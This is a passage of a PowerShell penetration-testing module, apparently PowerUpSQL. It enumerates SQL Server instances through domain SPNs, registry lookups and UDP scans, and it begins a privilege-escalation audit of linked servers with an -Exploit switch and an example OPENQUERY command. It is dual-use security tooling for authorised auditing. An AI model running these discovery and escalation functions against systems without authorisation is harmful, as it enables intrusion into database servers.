        HelpMessage = 'Domain password to authenticate with domain\user.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
        [string]$DomainController,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Computer name to filter for.')]
        [string]$ComputerName,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Domain account to filter for.')]
        [string]$DomainAccount,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')]
        [switch]$CheckMgmt,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')]
        [int]$UDPTimeOut = 3
    )

    Begin
    {
        # Table for SPN output
        $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable
        $null = $TblSQLServerSpns.Columns.Add('ComputerName')
        $null = $TblSQLServerSpns.Columns.Add('Instance')        
        $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid')
        $null = $TblSQLServerSpns.Columns.Add('DomainAccount')
        $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn')
        $null = $TblSQLServerSpns.Columns.Add('Service')        
        $null = $TblSQLServerSpns.Columns.Add('Spn')        
        $null = $TblSQLServerSpns.Columns.Add('LastLogon')
        $null = $TblSQLServerSpns.Columns.Add('Description')

        # Table for UDP scan results of management servers
    }

    Process
    {
        # Get list of SPNs for SQL Servers
        Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...'
        $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript {
            $_.service -like 'MSSQL*'
        }                

        Write-Verbose -Message 'Parsing SQL Server instances from SPNs...'

        # Add column containing sql server instance
        $TblSQLServers | 
        ForEach-Object -Process {
            # Parse SQL Server instance
            $Spn = $_.Spn          
            $Instance = $Spn.split('/')[1].split(':')[1]

            # Check if the instance is a number and use the relevent delim
            $Value = 0                       
            if([int32]::TryParse($Instance,[ref]$Value))
            {
                $SpnServerInstance = $Spn -replace ':', ','
            }
            else
            {
                $SpnServerInstance = $Spn -replace ':', '\'
            } 

            $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', ''                             
              
            # Add SQL Server spn to table
            $null = $TblSQLServerSpns.Rows.Add(
                [string]$_.ComputerName,
                [string]$SpnServerInstance,                
                $_.UserSid,
                [string]$_.User,
                [string]$_.Usercn,
                [string]$_.Service,
                [string]$_.Spn,                
                $_.LastLogon,
            [string]$_.Description)            
        }

        # Enumerate SQL Server instances from management servers
        if($CheckMgmt)
        {
            Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...'        
            $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential  -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose |
            Where-Object -FilterScript {
                $_.ComputerName -like '*.*'
            } |
            Select-Object -Property ComputerName -Unique |
            Sort-Object -Property ComputerName 

            Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...'
            $TblMgmtSQLServers = $TblMgmtServers |
            Select-Object -Property ComputerName -Unique |
            Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut
        }
    }

    End
    {                  
        # Return data
        if($CheckMgmt)
        {
            Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...'
            $Tbl1 = $TblMgmtSQLServers |
            Select-Object -Property ComputerName, Instance |
            Sort-Object -Property ComputerName, Instance
            $Tbl2 = $TblSQLServerSpns |
            Select-Object -Property ComputerName, Instance |
            Sort-Object -Property ComputerName, Instance
            $Tbl3 = $Tbl1 + $Tbl2

            $InstanceCount = $Tbl3.rows.count
            Write-Verbose -Message "$InstanceCount instances were found."
            $Tbl3
        }
        else
        {                    
            $InstanceCount = $TblSQLServerSpns.rows.count
            Write-Verbose -Message "$InstanceCount instances were found."
            $TblSQLServerSpns
        }        
    }
}


# -------------------------------------------
# Function: Get-SQLInstanceLocal
# -------------------------------------------
# Author: Scott Sutherland
Function  Get-SQLInstanceLocal 
{
    <#
            .SYNOPSIS
            Returns a list of the SQL Server instances found in the Windows registry for the local system.
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal
         
            ComputerName : Computer1
            Instance : Computer1\SQLEXPRESS
            ServiceDisplayName : SQL Server (SQLEXPRESS)
            ServiceName : MSSQL$SQLEXPRESS
            ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS
            ServiceAccount : NT Service\MSSQL$SQLEXPRESS
            State : Running
 
            ComputerName : Computer1
            Instance : Computer1\STANDARDDEV2014
            ServiceDisplayName : SQL Server (STANDARDDEV2014)
            ServiceName : MSSQL$STANDARDDEV2014
            ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\Binn\sqlservr.exe" -sSTANDARDDEV2014
            ServiceAccount : LocalSystem
            State : Running
 
            ComputerName : Computer1
            Instance : Computer1
            ServiceDisplayName : SQL Server (MSSQLSERVER)
            ServiceName : MSSQLSERVER
            ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
            ServiceAccount : NT Service\MSSQLSERVER
            State : Running
            
    #>
    Begin
    {
        # Table for output
        $TblLocalInstances = New-Object -TypeName System.Data.DataTable
        $null = $TblLocalInstances.Columns.Add('ComputerName')
        $null = $TblLocalInstances.Columns.Add('Instance')
        $null = $TblLocalInstances.Columns.Add('ServiceDisplayName')
        $null = $TblLocalInstances.Columns.Add('ServiceName')
        $null = $TblLocalInstances.Columns.Add('ServicePath')
        $null = $TblLocalInstances.Columns.Add('ServiceAccount')
        $null = $TblLocalInstances.Columns.Add('State')
    }

    Process
    {       
        # Grab SQL Server services for the server
        $SqlServices = Get-SQLServiceLocal | Where-Object -FilterScript {
            $_.ServicePath -like '*sqlservr.exe*'
        }
              
        # Add recrds to SQL Server instance table
        $SqlServices |
        ForEach-Object -Process {
            # Parse Instance
            $ComputerName = [string]$_.ComputerName                              
            $DisplayName = [string]$_.ServiceDisplayName                     

            if($DisplayName)
            {
                $Instance = $ComputerName + '\' +$DisplayName.split('(')[1].split(')')[0] 
                if($Instance -like '*\MSSQLSERVER')
                {
                    $Instance = $ComputerName
                }
            }
            else
            {
                $Instance = $ComputerName
            }

            # Add record
            $null = $TblLocalInstances.Rows.Add(
                [string]$_.ComputerName,
                [string]$Instance,
                [string]$_.ServiceDisplayName,
                [string]$_.ServiceName,
                [string]$_.ServicePath,
                [string]$_.ServiceAccount,
            [string]$_.ServiceState)                  
        }
    }

    End
    {  
        
        # Status User
        $LocalInstanceCount = $TblLocalInstances.rows.count
        Write-Verbose -Message "$LocalInstanceCount local instances where found."

        # Return data
        $TblLocalInstances         
    }
}


# ----------------------------------
# Get-SQLInstanceScanUDP
# ----------------------------------
# Author: Eric Gruber
# Note: Pipeline and timeout mods by Scott Sutherland
function Get-SQLInstanceScanUDP
{
    <#
            .SYNOPSIS
            Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers.
            .PARAMETER ComputerName
            Computer name or IP address to enumerate SQL Instance from.
            .PARAMETER UDPTimeOut
            Timeout in seconds. Longer timeout = more accurate.
            .EXAMPLE
            PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com
            VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
            VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Express
            InstanceName : Express
            ServerIP : 10.10.10.30
            TCPPort : 51663
            BaseVersion : 11.0.2100.60
            IsClustered : No
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Standard
            InstanceName : Standard
            ServerIP : 10.10.10.30
            TCPPort : 51861
            BaseVersion : 11.0.2100.60
            IsClustered : No
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose
            VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
            VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
 
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Express
            InstanceName : Express
            ServerIP : 10.10.10.30
            TCPPort : 51663
            BaseVersion : 11.0.2100.60
            IsClustered : No
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Standard
            InstanceName : Standard
            ServerIP : 10.10.10.30
            TCPPort : 51861
            BaseVersion : 11.0.2100.60
            IsClustered : No
            [TRUNCATED]
    #>
    [CmdletBinding()]
    param(

        [Parameter(Mandatory = $true,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')]
        [string]$ComputerName,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')]
        [int]$UDPTimeOut = 2,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin 
    {
        # Setup data table for results
        $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table'
        $null = $TableResults.columns.add('ComputerName')
        $null = $TableResults.columns.add('Instance')
        $null = $TableResults.columns.add('InstanceName')
        $null = $TableResults.columns.add('ServerIP')
        $null = $TableResults.columns.add('TCPPort')
        $null = $TableResults.columns.add('BaseVersion')
        $null = $TableResults.columns.add('IsClustered')           
    }

    Process
    {
        if(-not $SuppressVerbose)
        {
            Write-Verbose -Message " - $ComputerName - UDP Scan Start."
        }

        # Verify server name isn't empty
        if ($ComputerName -ne '')
        {        
            # Try to enumerate SQL Server instances from remote system
            try
            {
                # Resolve IP
                $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName)

                # Create UDP client object
                $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient

                # Attempt to connect to system
                $UDPTimeOutMilsec = $UDPTimeOut * 1000
                $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec
                $UDPClient.Connect($ComputerName,0x59a)
                $UDPPacket = 0x03  

                # Send request to system
                $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0)
                $UDPClient.Client.Blocking = $true
                [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length)

                # Process response from system
                $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint)
                $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';')

                $values = @{}
           
                for($i = 0; $i -le $Response.length; $i++)
                {
                    if(![string]::IsNullOrEmpty($Response[$i])) 
                    {
                        $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1])
                    }
                    else 
                    {
                        if(![string]::IsNullOrEmpty($values.'tcp'))
                        {
                            if(-not $SuppressVerbose)
                            {
                                $DiscoveredInstance = "$ComputerName\"+$values.'instancename'
                                Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance"
                            }

                            # Add SQL Server instance info to results table
                            $null = $TableResults.rows.Add(
                                [string]$ComputerName,
                                [string]"$ComputerName\"+$values.'instancename',                                
                                [string]$values.'instancename',                                
                                [string]$IPAddress,
                                [string]$values.'tcp',
                                [string]$values.'version',
                            [string]$values.'isclustered')
                            $values = @{}
                        }
                    }
                }

                # Close connection
                $UDPClient.Close()
            }
            catch
            {
                #"Error was $_"
                #$line = $_.InvocationInfo.ScriptLineNumber
                #"Error was in Line $line"

                # Close connection
                # $UDPClient.Close()
            } 
        }       
        if(-not $SuppressVerbose)
        {
            Write-Verbose -Message " - $ComputerName - UDP Scan Complete."
        }
    }

    End
    {
        # Return Results
        $TableResults 
    }
}


# ----------------------------------
# Get-SQLInstanceScanUDPThreaded
# ----------------------------------
# Author: Eric Gruber
# Note: Pipeline and timeout mods by Scott Sutherland
function Get-SQLInstanceScanUDPThreaded
{
    <#
            .SYNOPSIS
            Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers.
            .PARAMETER ComputerName
            Computer name or IP address to enumerate SQL Instance from.
            .PARAMETER UDPTimeOut
            Timeout in seconds. Longer timeout = more accurate.
            .PARAMETER Threads
            Number of concurrent host threads.
            .EXAMPLE
            PS C:\> Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1.domain.com
            VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
            VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Express
            InstanceName : Express
            ServerIP : 10.10.10.30
            TCPPort : 51663
            BaseVersion : 11.0.2100.60
            IsClustered : No
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Standard
            InstanceName : Standard
            ServerIP : 10.10.10.30
            TCPPort : 51861
            BaseVersion : 11.0.2100.60
            IsClustered : No
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose -Threads 20
            VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
            VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
 
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Express
            InstanceName : Express
            ServerIP : 10.10.10.30
            TCPPort : 51663
            BaseVersion : 11.0.2100.60
            IsClustered : No
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com\Standard
            InstanceName : Standard
            ServerIP : 10.10.10.30
            TCPPort : 51861
            BaseVersion : 11.0.2100.60
            IsClustered : No
            [TRUNCATED]
    #>

    [CmdletBinding()]
    param(

        [Parameter(Mandatory = $true,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')]
        [string]$ComputerName,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')]
        [int]$UDPTimeOut = 2,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for results
        $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table'
        $null = $TableResults.columns.add('ComputerName')
        $null = $TableResults.columns.add('Instance')
        $null = $TableResults.columns.add('InstanceName')
        $null = $TableResults.columns.add('ServerIP')
        $null = $TableResults.columns.add('TCPPort')
        $null = $TableResults.columns.add('BaseVersion')
        $null = $TableResults.columns.add('IsClustered')  
        $TableResults.Clear()

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $ComputerName = $_.ComputerName     
            
            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message " - $ComputerName - UDP Scan Start."
            }
                                     

            # Verify server name isn't empty
            if ($ComputerName -ne '')
            {        
                # Try to enumerate SQL Server instances from remote system
                try
                {
                    # Resolve IP
                    $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName)

                    # Create UDP client object
                    $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient

                    # Attempt to connect to system
                    $UDPTimeOutMilsec = $UDPTimeOut * 1000
                    $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec
                    $UDPClient.Connect($ComputerName,0x59a)
                    $UDPPacket = 0x03  

                    # Send request to system
                    $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0)
                    $UDPClient.Client.Blocking = $true
                    [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length)

                    # Process response from system
                    $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint)
                    $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';')

                    $values = @{}
           
                    for($i = 0; $i -le $Response.length; $i++)
                    {
                        if(![string]::IsNullOrEmpty($Response[$i])) 
                        {
                            $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1])
                        }
                        else 
                        {
                            if(![string]::IsNullOrEmpty($values.'tcp'))
                            {
                                if(-not $SuppressVerbose)
                                {
                                    $DiscoveredInstance = "$ComputerName\"+$values.'instancename'
                                    Write-Verbose -Message " - $ComputerName - Found: $DiscoveredInstance"
                                }

                                # Add SQL Server instance info to results table
                                $null = $TableResults.rows.Add(
                                    [string]$ComputerName,
                                    [string]"$ComputerName\"+$values.'instancename',                                
                                    [string]$values.'instancename',                                
                                    [string]$IPAddress,
                                    [string]$values.'tcp',
                                    [string]$values.'version',
                                [string]$values.'isclustered')
                                $values = @{}
                            }
                        }
                    }

                    # Close connection
                    $UDPClient.Close()
                }
                catch
                {
                    #"Error was $_"
                    #$line = $_.InvocationInfo.ScriptLineNumber
                    #"Error was in Line $line"

                    # Close connection
                    # $UDPClient.Close()
                } 
            }
            
            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message " - $ComputerName - UDP Scan End."
            }
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TableResults
    }
}

# ----------------------------------
# Get-SQLInstanceFile
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLInstanceFile 
{
    <#
            .SYNOPSIS
            Returns a list of SQL Server instances from a file.
            One per line. Three instance formats supported:
            1 - computername
            2 - computername\instance
            3 - computername,1433
            .PARAMETER FilePath
            Path to file containing instances. One per line.
            .EXAMPLE
            PS C:\> Get-SQLInstanceFile -Verbose -FilePath c:\temp\servers.txt
            VERBOSE: Importing instances from file path.
            VERBOSE: 3 instances where found in c:\temp\servers.txt.
 
            ComputerName Instance
            ------------ --------
            Computer1 Computer1\SQLEXPRESS
            Computer1 Computer1\STANDARDDEV2014
            Computer1 Computer1
    #>
    [CmdletBinding()]
    Param(        
        [Parameter(Mandatory = $true,
        HelpMessage = 'The file path.')]
        [string]$FilePath
    )

    Begin
    {
        # Table for output
        $TblFileInstances = New-Object -TypeName System.Data.DataTable
        $null = $TblFileInstances.Columns.Add('ComputerName')
        $null = $TblFileInstances.Columns.Add('Instance')
    }

    Process
    {       
        # Test file path
        if(Test-Path $FilePath)
        {
            Write-Verbose -Message 'Importing instances from file path.'
        }
        else
        {
            Write-Output -InputObject 'File path does not appear to be valid.'
            break
        }
              
        # Grab lines from file
        Get-Content -Path $FilePath |
        ForEach-Object -Process {
            $Instance = $_
            if($Instance.Split(',')[1])
            {
                $ComputerName = $Instance.Split(',')[0]
            }
            else
            {
                $ComputerName = $Instance.Split('\')[0]
            }
            
            # Add record
            if($_ -ne '')
            {
                $null = $TblFileInstances.Rows.Add($ComputerName,$Instance)
            }
        }
    }

    End
    {  
        
        # Status User
        $FileInstanceCount = $TblFileInstances.rows.count
        Write-Verbose -Message "$FileInstanceCount instances where found in $FilePath."

        # Return data
        $TblFileInstances         
    }
}
#endregion

#########################################################################
#
#region PASSWORD RECOVERY FUNCTIONS
#
#########################################################################
#
#endregion

#########################################################################
#
#region DATA EXFILTRATION FUNCTIONS
#
#########################################################################
#
#endregion

#########################################################################
#
#region PERSISTENCE FUNCTIONS
#
#########################################################################
#
#endregion

#########################################################################
#
#region PRIVILEGE ESCALATION FUNCTIONS
#
#########################################################################

# ---------------------------------------
# Template Function
# ---------------------------------------
# Author: Scott Sutherland
# Note: This is just a template for building other escalation functions.
Function Invoke-SQLAuditTemplate 
{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: [VULNERABILITY NAME]" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: [VULNERABILITY NAME]."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential 
        $CurrentLogin = $ServerInfo.CurrentLogin
        $ComputerName = $ServerInfo.ComputerName

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = ''
        $Description   = ''
        $Remediation   = ''
        $Severity      = '' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = "[CurrentCommand] -Instance $Instance -Exploit"
        $Details       = ''   
        $Reference     = ''       
        $Author        = 'First Last (Twitter), Company Year' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------
        # $IsVulnerable = "No" or $IsVulnerable = "Yes"

        
        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        # $IsExploitable = "No" or $IsExploitable = "Yes"


        # -----------------------------------------------------------------
        # Exploit Vulnerability
        # Note: Add the current user to sysadmin fixed server role
        # -----------------------------------------------------------------
        # $Exploited = "No" or $Exploited = "Yes"
                       
            
        # Add to report example
        $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)            

        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: [VULNERABILITY NAME]" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditPrivServerLink
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivServerLink 
{
    <#
            .SYNOPSIS
            Check if any SQL Server links are configured with remote credentials.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivServerLink -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Linked Server
            Description : One or more linked servers is preconfigured with alternative credentials which could allow a least privilege login to escalate their privileges on a remote
            server.
            Remediation : Configure SQL Server links to connect to remote servers using the login's current security context.
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : Example query: SELECT * FROM OPENQUERY([Server01\SQLEXPRESS],'Select ''Server: '' + @@Servername +'' '' + ''Login: '' + SYSTEM_USER')
            Details : The SQL Server link Server01\SQLEXPRESS was found configured with the test login.
            Reference : https://msdn.microsoft.com/en-us/library/ms190479.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditPrivServerLink -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Server Link" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $CurrentLogin = $ServerInfo.CurrentLogin
        $ComputerName = $ServerInfo.ComputerName

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Linked Server'
        $Description   = 'One or more linked servers is preconfigured with alternative credentials which could allow a least privilege login to escalate their privileges on a remote server.'
        $Remediation   = "Configure SQL Server links to connect to remote servers using the login's current security context."
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'There is not exploit available at this time.'
        if($Username)
        {
            #$ExploitCmd = "Invoke-SQLAuditPrivServerLink -Instance $Instance -Username $Username -Password $Password -Exploit"
        }
        else
        {
            #$ExploitCmd = "Invoke-SQLAuditPrivServerLink -Instance $Instance -Exploit"
        }
        $Details       = ''   
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms190479.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Select links configured with static credentials
